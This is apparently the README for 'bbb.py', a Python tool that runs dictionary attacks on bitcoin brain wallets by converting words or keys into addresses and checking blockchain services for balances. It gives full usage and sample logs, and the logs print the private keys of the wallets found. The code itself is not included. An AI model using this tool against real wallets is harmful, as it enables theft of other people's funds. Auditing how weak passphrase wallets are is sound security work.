A python script that performs a brute-force dictionary attack on brain wallets. It takes a dictionary input file and converts each line into a bitcoin address. A lookup of this address is done either using a local Abe instance, blockchain.info, or insight.bitpay.com to see if any bitcoins have ever been received by this address. If so, it will do one more check to see the current balance for the bitcoin address.
- Dictionary file in UTF-8 format (other formats NOT SUPPORTED)
- Python 2.7 (3.x NOT SUPPORTED), requests, coinkit
pip install -r requirements.txt
usage: bbb.py [-h] -t TYPE -d DICT_FILE -o OUTPUT_FILE [-s SERVER] [-p PORT] [-c CHAIN] [-k] [--version] A script to perform brute force dictionary attacks on brain wallets. optional arguments: -h, --help show this help message and exit -t TYPE Blockchain lookup type (abe|blockchaininfo|insight|blockexplorercom) -d DICT_FILE Dictionary file (e.g. dictionary.txt) -o OUTPUT_FILE Output file (e.g. output.txt) -s SERVER Abe server address (e.g. localhost) -p PORT Abe port (e.g. 2751) -c CHAIN Abe chain string (e.g. Bitcoin) -k treat each word as a hex or wif encoded private key, not as brain wallet --version show program's version number and exit
python bbb.py -t abe -d dictionary.txt -o found.txt -s 127.0.0.1 -p 2751 -c Bitcoin 2014-04-03 21:24:37,552 INFO line 59 Opening session for abe 2014-04-03 21:24:37,552 INFO line 17 Opening new session to http://127.0.0.1:2751 2014-04-03 21:24:37,563 INFO line 171 Starting new HTTP connection (1): 127.0.0.1 2014-04-03 21:24:37,749 INFO line 63 Opening dictionary file dictionary.txt for reading 2014-04-03 21:24:37,749 INFO line 72 Opening output file found.txt for writing 2014-04-03 21:24:37,750 INFO line 75 dictionary word, received bitcoins, wallet address, private address, current balance 2014-04-03 21:24:38,490 INFO line 101 a,0.01000000,1HUBHMij46Hae75JPdWjeZ5Q7KaL7EFRSD,ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb,0.00000000
python bbb.py -t insight -d dictionary.txt -o found.txt 2014-09-11 20:34:17,863 INFO line 62 Opening session for insight 2014-09-11 20:34:17,863 INFO line 20 Opening new session to https://insight.bitpay.com 2014-09-11 20:34:17,876 INFO line 696 Starting new HTTPS connection (1): insight.bitpay.com 2014-09-11 20:34:18,419 INFO line 67 Opening dictionary file dictionary.txt and validating encoding is utf-8 2014-09-11 20:34:18,419 INFO line 78 Opening dictionary file dictionary.txt for reading 2014-09-11 20:34:18,419 INFO line 81 Opening file with encoding utf-8 2014-09-11 20:34:18,419 INFO line 90 Opening output file found4.txt for writing 2014-09-11 20:34:18,419 INFO line 93 dictionary word, received bitcoins, wallet address, private address, current balance 2014-09-11 20:34:22,654 INFO line 153 Found used brainwallet: a,0.01000000,1HUBHMij46Hae75JPdWjeZ5Q7KaL7EFRSD,ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb,0.00000000
This is also known as secret exponent, mixed hex and wif format.
python bbb.py -d keys.txt -t insight -o found.txt -k 2014-09-16 12:13:55,301 INFO line 64 Opening session for insight 2014-09-16 12:13:55,301 INFO line 20 Opening new session to https://insight.bitpay.com 2014-09-16 12:13:55,338 INFO line 696 Starting new HTTPS connection (1): insight.bitpay.com 2014-09-16 12:14:09,152 INFO line 69 Opening dictionary file keys.txt and validating encoding is utf-8 2014-09-16 12:14:09,153 INFO line 80 Opening dictionary file keys.txt for reading 2014-09-16 12:14:09,154 INFO line 83 Opening file with encoding utf-8 2014-09-16 12:14:09,155 INFO line 92 Opening output file found.txt for writing 2014-09-16 12:14:09,155 INFO line 95 dictionary word, received bitcoins, wallet address, private address, current balance 2014-09-16 12:14:23,951 INFO line 155 Found used wallet: 6d88fd5f906a89858aca2a963d82d6e36cdf409871a88f6e79749ba21f021421,0.00005460,18XHQxYKXeXdiJzi5Z5XTojzeY3xHAoLCA,6d88fd5f906a89858aca2a963d82d6e36cdf409871a88f6e79749ba21f021421,0.00000000
Note: there is a 10 second wait between API calls to respect blockchain.info limits.
python bbb.py -t blockchaininfo -d dictionary.txt -o found.txt 2014-04-03 21:38:48,893 INFO line 100 Note there is a 10 second wait between each API call to respect posted limits 2014-04-03 21:38:48,893 INFO line 59 Opening session for blockchaininfo 2014-04-03 21:38:48,893 INFO line 18 Opening new session to http://blockchain.info 2014-04-03 21:38:48,903 INFO line 171 Starting new HTTP connection (1): blockchain.info 2014-04-03 21:38:49,672 INFO line 63 Opening dictionary file dictionary.txt for reading 2014-04-03 21:38:49,673 INFO line 72 Opening output file found.txt for writing 2014-04-03 21:38:49,673 INFO line 75 dictionary word, received bitcoins, wallet address, private address, current balance 2014-04-03 21:40:02,313 INFO line 101 a,0.01000000,1HUBHMij46Hae75JPdWjeZ5Q7KaL7EFRSD,ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb,0.00000000